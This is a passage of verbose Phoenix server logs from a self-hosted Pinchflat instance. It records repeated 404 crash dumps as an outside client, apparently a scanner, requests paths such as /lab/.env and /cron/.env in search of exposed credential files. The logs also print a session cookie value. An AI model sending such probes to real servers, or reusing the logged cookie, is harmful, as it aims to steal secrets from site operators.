"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3446.0>, params: %{}, path_info: ["lab", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/lab/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6u8huZFhdf4AASNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/lab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 142, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /lab/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/lab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 142, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:18.836 [info] GET /cronlab/.env 02:10:18.837 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=192.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.837 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=133.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.838 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.838 [error] #PID<0.3447.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 143) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cronlab/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cronlab/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cronlab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 143, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3447.0>, params: %{}, path_info: ["cronlab", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cronlab/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6vLAgx3J34oAASOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cronlab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 143, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cronlab/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cronlab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 143, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:18.899 [info] GET /cron/.env 02:10:18.899 [debug] QUERY OK source="settings" db=0.3ms idle=194.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.900 [debug] QUERY OK source="settings" db=0.1ms idle=123.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.900 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.900 [error] #PID<0.3448.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 144) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cron/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cron/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cron/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 144, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3448.0>, params: %{}, path_info: ["cron", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cron/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6vaEZHch-Q0AASPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cron/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 144, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cron/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cron/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 144, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:18.972 [info] GET /en/.env 02:10:18.972 [debug] QUERY OK source="settings" db=0.2ms idle=135.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.972 [debug] QUERY OK source="settings" db=0.1ms idle=134.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.973 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.973 [error] #PID<0.3449.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 145) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /en/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /en/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/en/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 145, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3449.0>, params: %{}, path_info: ["en", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/en/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6vremVirbtwAASQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/en/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: 